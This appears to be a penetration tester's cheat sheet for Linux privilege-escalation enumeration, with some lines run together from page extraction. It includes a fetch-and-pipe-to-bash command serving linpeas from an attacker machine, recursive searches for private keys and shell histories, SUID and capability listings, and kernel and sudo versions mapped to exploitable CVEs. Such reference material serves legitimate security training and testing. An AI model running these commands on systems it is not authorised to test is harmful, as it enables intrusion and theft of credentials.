Linpeas#
script to find interesting stuffs on linux, potentially privilege escalation
# Download script
wget https://github.com/peass-ng/PEASS-ng/releases/download/20250301-c97fb02a/linpeas.sh
# Host http
python -m http.server 8080
# execute on remote
curl http://<local-ip>:8080/linpeas | bashBasic#
id?admgroup? admdockergroup? Docker grouplxdgroup? LXC
id- Other non-standard group?
find / -type f -group <group_name>- Shell history
historycat ~/.bash_history
cat ~/.zsh_historyfind / -type f \( -name *_hist -o -name *_history \) -ls 2>/dev/null- OS version
cat /etc/os-release- Kernel version
3.8.6,3.11.0,3.15.0,3.18.0? Logrotate5.8to5.17? Dirty Pipe2.6-5.11? CVE-2021-225555.4to5.6.10? CVE-2022-25636- Below
6.3.1? CVE-2023-32233
uname -rcat /proc/version- Sudo version
1.8.31,1.8.27,1.9.2? CVE-2021-3156- Below
1.8.28? CVE-2019-14287
sudo -V- List user’s sudo privilege
- No
env_resetoption?env_keepenabled?SETENVallowed? Sudo environment variables - If not, go to GTFOBins for commands with sudo that we can play with
- No
sudo -l- Installed packages
apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a installed_pkgs.listls /bin- SSH keys
ls -l ~/.ssh- All readable keys
grep -rnE '^\-{5}BEGIN [A-Z0-9]+ PRIVATE KEY\-{5}$' /* 2>/dev/null/etc/passwdmight contain hash, but very rare
cat /etc/passwd- Find high-privileged binaries. See Path Injection and Python library hijack
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null
getcap -r / 2>/dev/null- Who can use shell (who to target)
grep 'sh$' /etc/passwd | awk -F: '{print $1}'- Who can use sudo?
getent group sudo- Find all writeable directories
find / -writable -type d 2>/dev/null | grep -v '/home/<user>'- Environment variables
env- List all temp dir
ls -l /tmp /var/tmp /dev/shm- I don’t even know what it does, black magic
find /proc -name cmdline -exec cat {} \; 2>/dev/null | tr " " "\n"- Ports
ss -tunl
netstat -tunlProcesses#
Processes run by root#
ps aux | grep rootRunning processes#
ps aupspy#
To monitor processes without root.
Download the binary, transfer it to target machine
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64Then just run it
./pspy64 -pf -i 1000Crontab#
cat /etc/crontabls -la /etc/cron.daily/crontab -lDisks#
lsblkcat /etc/fstabLogged in users#
lastlogYea, just w
w